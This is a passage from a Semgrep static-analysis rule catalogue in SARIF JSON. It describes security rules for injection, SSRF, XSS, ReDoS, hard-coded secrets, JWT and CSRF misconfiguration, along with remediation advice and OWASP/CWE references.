input."},"helpUri":"https://semgrep.dev/r/python.flask.code.tainted-code-stdlib-flask.tainted-code-stdlib-flask","id":"python.flask.code.tainted-code-stdlib-flask.tainted-code-stdlib-flask","name":"python.flask.code.tainted-code-stdlib-flask.tainted-code-stdlib-flask","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.code.tainted-code-stdlib-flask.tainted-code-stdlib-flask"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Twilio API Key detected"},"help":{"markdown":"Twilio API Key detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-twilio-api-key.detected-twilio-api-key)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Twilio API Key detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-twilio-api-key.detected-twilio-api-key","id":"generic.secrets.security.detected-twilio-api-key.detected-twilio-api-key","name":"generic.secrets.security.detected-twilio-api-key.detected-twilio-api-key","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-twilio-api-key.detected-twilio-api-key"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements)."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.net.sql.pg-sqli-taint-med-conf.pg-sqli-taint-med-conf)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://pg.uptrace.dev/queries/](https://pg.uptrace.dev/queries/)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements)."},"helpUri":"https://semgrep.dev/r/go.net.sql.pg-sqli-taint-med-conf.pg-sqli-taint-med-conf","id":"go.net.sql.pg-sqli-taint-med-conf.pg-sqli-taint-med-conf","name":"go.net.sql.pg-sqli-taint-med-conf.pg-sqli-taint-med-conf","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.net.sql.pg-sqli-taint-med-conf.pg-sqli-taint-med-conf"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected anonymous LDAP bind. This permits anonymous users to execute LDAP statements. Consider enforcing authentication for LDAP."},"help":{"markdown":"Detected anonymous LDAP bind. This permits anonymous users to execute LDAP statements. Consider enforcing authentication for LDAP.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.ldap-bind-without-password.ldap-bind-without-password)\n - [https://www.php.net/manual/en/function.ldap-bind.php](https://www.php.net/manual/en/function.ldap-bind.php)\n","text":"Detected anonymous LDAP bind. This permits anonymous users to execute LDAP statements. Consider enforcing authentication for LDAP."},"helpUri":"https://semgrep.dev/r/php.lang.security.ldap-bind-without-password.ldap-bind-without-password","id":"php.lang.security.ldap-bind-without-password.ldap-bind-without-password","name":"php.lang.security.ldap-bind-without-password.ldap-bind-without-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","LOW CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.ldap-bind-without-password.ldap-bind-without-password"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected calls to child_process from a function argument `$FUNC`. This could lead to a command injection if the input is user controllable. Try to avoid calls to child_process, and if it is needed ensure user input is correctly sanitized or sandboxed. "},"help":{"markdown":"Detected calls to child_process from a function argument `$FUNC`. This could lead to a command injection if the input is user controllable. Try to avoid calls to child_process, and if it is needed ensure user input is correctly sanitized or sandboxed. \n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.security.detect-child-process.detect-child-process)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Nodejs_Security_Cheat_Sheet.html#do-not-use-dangerous-functions](https://cheatsheetseries.owasp.org/cheatsheets/Nodejs_Security_Cheat_Sheet.html#do-not-use-dangerous-functions)\n","text":"Detected calls to child_process from a function argument `$FUNC`. This could lead to a command injection if the input is user controllable. Try to avoid calls to child_process, and if it is needed ensure user input is correctly sanitized or sandboxed. "},"helpUri":"https://semgrep.dev/r/javascript.lang.security.detect-child-process.detect-child-process","id":"javascript.lang.security.detect-child-process.detect-child-process","name":"javascript.lang.security.detect-child-process.detect-child-process","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.security.detect-child-process.detect-child-process"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.spring.kmongo-nosqli.kmongo-nosqli)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"helpUri":"https://semgrep.dev/r/kotlin.spring.kmongo-nosqli.kmongo-nosqli","id":"kotlin.spring.kmongo-nosqli.kmongo-nosqli","name":"kotlin.spring.kmongo-nosqli.kmongo-nosqli","properties":{"precision":"very-high","tags":["CWE-943: Improper Neutralization of Special Elements in Data Query Logic","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.spring.kmongo-nosqli.kmongo-nosqli"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Possible active debug code detected. Deploying an application with debug code can create unintended entry points or expose sensitive information."},"help":{"markdown":"Possible active debug code detected. Deploying an application with debug code can create unintended entry points or expose sensitive information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.active-debug-code-getstacktrace.active-debug-code-getstacktrace)\n - [https://cwe.mitre.org/data/definitions/489.html](https://cwe.mitre.org/data/definitions/489.html)\n - [https://www.acunetix.com/vulnerabilities/web/stack-trace-disclosure-java/](https://www.acunetix.com/vulnerabilities/web/stack-trace-disclosure-java/)\n - [https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/08-Testing_for_Error_Handling/02-Testing_for_Stack_Traces](https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/08-Testing_for_Error_Handling/02-Testing_for_Stack_Traces)\n - [https://www.securecodewarrior.com/blog/coders-conquer-security-share-learn-series-information-exposure](https://www.securecodewarrior.com/blog/coders-conquer-security-share-learn-series-information-exposure)\n","text":"Possible active debug code detected. Deploying an application with debug code can create unintended entry points or expose sensitive information."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.active-debug-code-getstacktrace.active-debug-code-getstacktrace","id":"java.lang.security.audit.active-debug-code-getstacktrace.active-debug-code-getstacktrace","name":"java.lang.security.audit.active-debug-code-getstacktrace.active-debug-code-getstacktrace","properties":{"precision":"very-high","tags":["CWE-489: Active Debug Code","MEDIUM CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","OWASP-A06:2017 - Security Misconfiguration","OWASP-A10:2004 - Insecure Configuration Management","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.active-debug-code-getstacktrace.active-debug-code-getstacktrace"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.ktor.nosqli.ktor-mongo-java-driver.ktor-mongo-java-driver)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"helpUri":"https://semgrep.dev/r/kotlin.ktor.nosqli.ktor-mongo-java-driver.ktor-mongo-java-driver","id":"kotlin.ktor.nosqli.ktor-mongo-java-driver.ktor-mongo-java-driver","name":"kotlin.ktor.nosqli.ktor-mongo-java-driver.ktor-mongo-java-driver","properties":{"precision":"very-high","tags":["CWE-943: Improper Neutralization of Special Elements in Data Query Logic","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.ktor.nosqli.ktor-mongo-java-driver.ktor-mongo-java-driver"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"When generating random data for use in cryptographic operations, such as an initialization vector, you do not want to use the standard random module APIs. This is because they do not provide a cryptographically secure random number generator, which can result in major security issues depending on the algorithms in use. Therefore, it is our recommendation to always use your operating system’s provided random number generator, which is available as os.urandom()."},"help":{"markdown":"When generating random data for use in cryptographic operations, such as an initialization vector, you do not want to use the standard random module APIs. This is because they do not provide a cryptographically secure random number generator, which can result in major security issues depending on the algorithms in use. Therefore, it is our recommendation to always use your operating system’s provided random number generator, which is available as os.urandom().\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.cryptography.cryptography-insecure-random.cryptography-insecure-random)\n - [https://cryptography.io/en/latest/random-numbers/#random-number-generation](https://cryptography.io/en/latest/random-numbers/#random-number-generation)\n - [https://docs.python.org/3/library/secrets.html](https://docs.python.org/3/library/secrets.html)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"When generating random data for use in cryptographic operations, such as an initialization vector, you do not want to use the standard random module APIs. This is because they do not provide a cryptographically secure random number generator, which can result in major security issues depending on the algorithms in use. Therefore, it is our recommendation to always use your operating system’s provided random number generator, which is available as os.urandom()."},"helpUri":"https://semgrep.dev/r/python.cryptography.cryptography-insecure-random.cryptography-insecure-random","id":"python.cryptography.cryptography-insecure-random.cryptography-insecure-random","name":"python.cryptography.cryptography-insecure-random.cryptography-insecure-random","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.cryptography.cryptography-insecure-random.cryptography-insecure-random"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input."},"help":{"markdown":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.spring.scripting-host-eval.scripting-host-eval)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input."},"helpUri":"https://semgrep.dev/r/kotlin.spring.scripting-host-eval.scripting-host-eval","id":"kotlin.spring.scripting-host-eval.scripting-host-eval","name":"kotlin.spring.scripting-host-eval.scripting-host-eval","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.spring.scripting-host-eval.scripting-host-eval"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected use of the 'none' algorithm in a JWT token. The 'none' algorithm assumes the integrity of the token has already been verified. This would allow a malicious actor to forge a JWT token that will automatically be verified. Do not explicitly use the 'none' algorithm. Instead, use an algorithm such as 'HS256'."},"help":{"markdown":"Detected use of the 'none' algorithm in a JWT token. The 'none' algorithm assumes the integrity of the token has already been verified. This would allow a malicious actor to forge a JWT token that will automatically be verified. Do not explicitly use the 'none' algorithm. Instead, use an algorithm such as 'HS256'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.jwt-go.security.jwt-none-alg.jwt-go-none-algorithm)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected use of the 'none' algorithm in a JWT token. The 'none' algorithm assumes the integrity of the token has already been verified. This would allow a malicious actor to forge a JWT token that will automatically be verified. Do not explicitly use the 'none' algorithm. Instead, use an algorithm such as 'HS256'."},"helpUri":"https://semgrep.dev/r/go.jwt-go.security.jwt-none-alg.jwt-go-none-algorithm","id":"go.jwt-go.security.jwt-none-alg.jwt-go-none-algorithm","name":"go.jwt-go.security.jwt-none-alg.jwt-go-none-algorithm","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: go.jwt-go.security.jwt-none-alg.jwt-go-none-algorithm"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Setting 'WTF_CSRF_ENABLED' to 'False' explicitly disables CSRF protection."},"help":{"markdown":"Setting 'WTF_CSRF_ENABLED' to 'False' explicitly disables CSRF protection.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.audit.wtf-csrf-disabled.flask-wtf-csrf-disabled)\n - [https://flask-wtf.readthedocs.io/en/1.2.x/csrf/](https://flask-wtf.readthedocs.io/en/1.2.x/csrf/)\n","text":"Setting 'WTF_CSRF_ENABLED' to 'False' explicitly disables CSRF protection."},"helpUri":"https://semgrep.dev/r/python.flask.security.audit.wtf-csrf-disabled.flask-wtf-csrf-disabled","id":"python.flask.security.audit.wtf-csrf-disabled.flask-wtf-csrf-disabled","name":"python.flask.security.audit.wtf-csrf-disabled.flask-wtf-csrf-disabled","properties":{"precision":"very-high","tags":["CWE-352: Cross-Site Request Forgery (CSRF)","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.audit.wtf-csrf-disabled.flask-wtf-csrf-disabled"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Ensure FSX Lustre file system is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"help":{"markdown":"Ensure FSX Lustre file system is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-fsx-lustre-filesystem-encrypted-with-cmk.aws-fsx-lustre-filesystem-encrypted-with-cmk)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design](https://owasp.org/Top10/A04_2021-Insecure_Design)\n","text":"Ensure FSX Lustre file system is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-fsx-lustre-filesystem-encrypted-with-cmk.aws-fsx-lustre-filesystem-encrypted-with-cmk","id":"terraform.aws.security.aws-fsx-lustre-filesystem-encrypted-with-cmk.aws-fsx-lustre-filesystem-encrypted-with-cmk","name":"terraform.aws.security.aws-fsx-lustre-filesystem-encrypted-with-cmk.aws-fsx-lustre-filesystem-encrypted-with-cmk","properties":{"precision":"very-high","tags":["CWE-311: Missing Encryption of Sensitive Data","LOW CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-fsx-lustre-filesystem-encrypted-with-cmk.aws-fsx-lustre-filesystem-encrypted-with-cmk"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"math.remainder is only available on Python 3.7+ and is therefore not backwards compatible. Instead, use math.fmod() or calculate $X - n* $Y."},"help":{"markdown":"math.remainder is only available on Python 3.7+ and is therefore not backwards compatible. Instead, use math.fmod() or calculate $X - n* $Y.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-math1)\n","text":"math.remainder is only available on Python 3.7+ and is therefore not backwards compatible. Instead, use math.fmod() or calculate $X - n* $Y."},"helpUri":"https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-math1","id":"python.lang.compatibility.python37.python37-compatibility-math1","name":"python.lang.compatibility.python37.python37-compatibility-math1","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: python.lang.compatibility.python37.python37-compatibility-math1"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate URLs and their protocol before using them in your codebase."},"help":{"markdown":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate URLs and their protocol before using them in your codebase.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.nextjs.react-nextjs-router-href.react-nextjs-router-href)\n - [https://github.com/segmentio/ui-box/blob/master/src/utils/safeHref.ts](https://github.com/segmentio/ui-box/blob/master/src/utils/safeHref.ts)\n","text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate URLs and their protocol before using them in your codebase."},"helpUri":"https://semgrep.dev/r/typescript.nextjs.react-nextjs-router-href.react-nextjs-router-href","id":"typescript.nextjs.react-nextjs-router-href.react-nextjs-router-href","name":"typescript.nextjs.react-nextjs-router-href.react-nextjs-router-href","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.nextjs.react-nextjs-router-href.react-nextjs-router-href"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.aws-sdk-core.ruby-aws-sdk-hardcoded-secret.ruby-aws-sdk-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/ruby.aws-sdk-core.ruby-aws-sdk-hardcoded-secret.ruby-aws-sdk-hardcoded-secret","id":"ruby.aws-sdk-core.ruby-aws-sdk-hardcoded-secret.ruby-aws-sdk-hardcoded-secret","name":"ruby.aws-sdk-core.ruby-aws-sdk-hardcoded-secret.ruby-aws-sdk-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.aws-sdk-core.ruby-aws-sdk-hardcoded-secret.ruby-aws-sdk-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Data from request object is passed to a new server-side request. This could lead to a server-side request forgery (SSRF), which could result in attackers gaining access to private organization data. To mitigate, ensure that schemes and hosts are validated against an allowlist, do not forward the response to the user, and ensure proper authentication and transport-layer security in the proxied request."},"help":{"markdown":"Data from request object is passed to a new server-side request. This could lead to a server-side request forgery (SSRF), which could result in attackers gaining access to private organization data. To mitigate, ensure that schemes and hosts are validated against an allowlist, do not forward the response to the user, and ensure proper authentication and transport-layer security in the proxied request.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.injection.ssrf.ssrf-injection-urllib.ssrf-injection-urllib)\n - [https://owasp.org/www-community/attacks/Server_Side_Request_Forgery](https://owasp.org/www-community/attacks/Server_Side_Request_Forgery)\n","text":"Data from request object is passed to a new server-side request. This could lead to a server-side request forgery (SSRF), which could result in attackers gaining access to private organization data. To mitigate, ensure that schemes and hosts are validated against an allowlist, do not forward the response to the user, and ensure proper authentication and transport-layer security in the proxied request."},"helpUri":"https://semgrep.dev/r/python.django.security.injection.ssrf.ssrf-injection-urllib.ssrf-injection-urllib","id":"python.django.security.injection.ssrf.ssrf-injection-urllib.ssrf-injection-urllib","name":"python.django.security.injection.ssrf.ssrf-injection-urllib.ssrf-injection-urllib","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.injection.ssrf.ssrf-injection-urllib.ssrf-injection-urllib"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.spring.tainted-ssrf-spring-add.tainted-ssrf-spring-add)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/kotlin.spring.tainted-ssrf-spring-add.tainted-ssrf-spring-add","id":"kotlin.spring.tainted-ssrf-spring-add.tainted-ssrf-spring-add","name":"kotlin.spring.tainted-ssrf-spring-add.tainted-ssrf-spring-add","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","HIGH CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.spring.tainted-ssrf-spring-add.tainted-ssrf-spring-add"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The regular expression identified appears vulnerable to Regular Expression Denial of Service (ReDoS) through catastrophic backtracking. If the input is attacker controllable, this vulnerability can lead to systems being non-responsive or may crash due to ReDoS. Where possible, re-write the regex so as not to leverage backtracking or use a library that offers default protection against ReDoS."},"help":{"markdown":"The regular expression identified appears vulnerable to Regular Expression Denial of Service (ReDoS) through catastrophic backtracking. If the input is attacker controllable, this vulnerability can lead to systems being non-responsive or may crash due to ReDoS. Where possible, re-write the regex so as not to leverage backtracking or use a library that offers default protection against ReDoS.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.regex.tainted-regex-stdlib-fastapi.tainted-regex-stdlib-fastapi)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html)\n - [https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)\n - [https://www.regular-expressions.info/catastrophic.html](https://www.regular-expressions.info/catastrophic.html)\n","text":"The regular expression identified appears vulnerable to Regular Expression Denial of Service (ReDoS) through catastrophic backtracking. If the input is attacker controllable, this vulnerability can lead to systems being non-responsive or may crash due to ReDoS. Where possible, re-write the regex so as not to leverage backtracking or use a library that offers default protection against ReDoS."},"helpUri":"https://semgrep.dev/r/python.fastapi.regex.tainted-regex-stdlib-fastapi.tainted-regex-stdlib-fastapi","id":"python.fastapi.regex.tainted-regex-stdlib-fastapi.tainted-regex-stdlib-fastapi","name":"python.fastapi.regex.tainted-regex-stdlib-fastapi.tainted-regex-stdlib-fastapi","properties":{"precision":"very-high","tags":["CWE-1333: Inefficient Regular Expression Complexity","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.regex.tainted-regex-stdlib-fastapi.tainted-regex-stdlib-fastapi"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected directly writing or similar in 